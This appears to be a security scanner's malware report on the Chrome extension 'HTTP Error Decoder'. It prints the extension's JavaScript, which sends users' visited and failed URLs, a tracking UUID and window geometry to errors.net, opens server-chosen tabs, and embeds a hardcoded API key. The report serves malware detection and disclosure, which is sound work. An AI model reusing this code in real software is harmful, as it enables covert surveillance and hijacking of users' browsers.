Security Alert: Confirmed Malware
HTTP Error Decoder
ID: faenhkadofjaohijamoadjpbpnceamoi
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- https://httperrordecoder.comView Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Website
- Visit
HTTP Error Decoder helps you navigate error-prone sites effortlessly with powerful search and overcoming 500 errors.
HTTP Error Decoder is crafted specifically for users new to the intricacies of the internet, aiming to simplify their browsing experience. Step 1: Install the HTTP Error Decoder. * This is a Chrome extension developed specifically to assist both novice and uninformed users. By adding this to your browser, you’re one step closer to a seamless online experience. Step 2: Utilize its features. * Once installed, the HTTP Error Decoder offers a suite of features that enhance your browsing. It not only detects errors but also aids in making insightful decisions about your online activities. Step 3: Dive into resources. * The extension is more than just an error detector. It comes packed with tips and tools that break down complex internet terms. If you encounter an error, there are explanations ready for you, along with links to articles and knowledge bases. These resources are curated to bolster your understanding of common online errors. HTTP Error Decoder abilities go beyond error resolution. HTTP Error Decoder provides real-time suggestions while users type in the search bar, presenting helpful prompts and auto-complete options to expedite the search process. Additionally, Site Resolver includes built-in pop-up blocking and ad filtering, ensuring a cleaner and less cluttered browsing experience for users. HTTP Error Decoder assists with error codes but also shares valuable website load times and other essential statistics, keeping you informed about the performance of the websites you visit. HTTP Error Decoder has strategic partnerships with platforms like errors.net, Yahoo.com, and several other affiliates. These collaborations ensure that even if you face an NX Domain error or similar hitches, your online journey remains uninterrupted and supported. With these steps, HTTP Error Decoder seeks to make the online experience smoother for every user, regardless of their expertise level.
Intercepts every main_frame HTTP response across all http/https sites and, on any 4xx/5xx status, force-closes the user's current tab (`chrome.tabs.remove`) and replaces it with a redirect to a third-party domain (errors.net), passing the full original URL (including paths and query strings) plus a persistent UUID. This is browser navigation hijacking and silently exfiltrates the user's browsing destinations to an external server.
async function handleHeadersReceived(e) { const { errorpages: t, uuid: r } = await chrome.storage.sync.get(["errorpages", "uuid"]), o = JSON.parse(t), a = encodeURIComponent(new URL(e.url) .hostname); "4" !== e.statusCode.toString()[0] && "5" !== e.statusCode.toString()[0] || o.hosts.includes(a) || (chrome.tabs .create({ url: `https://errors.net/error/?license=${apikey}&errorurl=${encodeURIComponent(e.url)}&error=${e.statusCode.toString()}&uuid=${r.toString()}` }), chrome.tabs.remove(e.tabId), o.hosts.unshift(a), o.hosts.length = 5, await chrome.storage.sync.set({ errorpages: JSON.stringify({ hosts: o.hosts }) }))For every page load on every http/https site visited, the worker POSTs the user's UUID, full performance navigation timing object (which includes the page URL via the navigation entry name), and screen/window geometry to errors.net. The server's response is then used to open arbitrary new tabs (`chrome.tabs.create(a.notice)`) or windows (`chrome.windows.create(a.alert)`) with attacker-chosen URLs, giving the remote endpoint live control over the user's browser navigation.
async function perf(e) { const t = await fetch(`https://errors.net/performance/?license=${apikey}`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(e) }); return await t.json()}On any DNS resolution failure for a navigation request, the extension navigates the user's tab to errors.net and exfiltrates the full failed URL together with a persistent per-install UUID tracking identifier. Because the URL is sent before the user can intervene, mistyped/sensitive URLs (including those that may contain tokens in query strings) are leaked to the third-party server.
async function handleErrorOccurred(e) { if (e.error.includes("RESOLVE")) { const { errorpages: t, uuid: r } = await chrome.storage.sync.get(["errorpages", "uuid"]), o = JSON.parse(t), a = encodeURIComponent(new URL(e .url) .hostname); o.hosts.unshift(a), o.hosts.length = 5, await chrome.storage.sync.set({ errorpages: JSON.stringify({ hosts: o.hosts }) }), chrome.tabs.update({ url: `https://errors.net/error/?license=${apikey}&errorurl=${encodeURIComponent(e.url)}&error=nx&uuid=${r.toString()}` }) }}Generates a persistent, cross-session UUID on install and stores it in chrome.storage.sync, then attaches that UUID to every subsequent network event reported to errors.net. This enables the server-side correlation of an individual user's full browsing history of error/non-2xx responses with a stable identifier — classic persistent tracking.
chrome.runtime.onInstalled.addListener((async e => { const { uuid: t } = await chrome.storage.sync.get("uuid"); if (void 0 === t) { const t = generateUUID(); await chrome.storage.sync.set({ errorpages: JSON.stringify({ hosts: [] }), uuid: t }), "install" === e.reason && chrome.tabs.update({ url: `https://HTTPErrorDecoder.com/thankyou/?uuid=${t.toString()}` }) }}));The response from the remote errors.net /performance/ endpoint directly drives `chrome.tabs.create` and `chrome.windows.create` with server-supplied parameters. Although chrome.tabs.create cannot execute remote JavaScript directly, it allows the remote server to push arbitrary URLs (ads, phishing pages, redirect chains) into the victim's browser at any time after install — i.e., remote-controlled navigation/ad injection.
a?.notice ? chrome.tabs.create(a.notice) : a?.alert && chrome.windows.create(a.alert)Content script injected into every http/https frame collects screen position (screenTop/screenLeft) and window inner/outer geometry on every page load and forwards it to the background worker, which uploads it to errors.net. This is unrelated to the extension's stated purpose (decoding HTTP errors) and constitutes browser-fingerprinting / unauthorized data collection.
const d = { offset: { x: screenTop + (outerHeight - innerHeight), y: screenLeft + (outerWidth - innerWidth) }, details: { x: screenTop, y: screenLeft, oh: outerHeight, ih: innerHeight, ow: outerWidth, iw: innerWidth }};chrome.runtime.sendMessage({ time: r, timing: t, dimensions: d})A hardcoded `license`/API key string shipped in the extension is appended to every outbound request to errors.net. This identifies the extension build to the upstream operator and is the credential used to authorize the data-exfiltration channel; combined with the UUID it enables full per-user attribution of browsing telemetry on the server side.
const apikey = "iZo4mu4PZkmUfCkpDoyqYRnqhpb15CKXB9v6Yzwp";By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 2.0 | 7 |
Files with findings
2 distinct paths — top paths by unique finding count:
- worker.js6
- performance.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.